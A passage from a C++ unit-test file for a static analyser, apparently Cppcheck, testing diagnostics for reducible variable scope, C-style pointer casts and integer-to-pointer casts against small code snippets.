\"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n 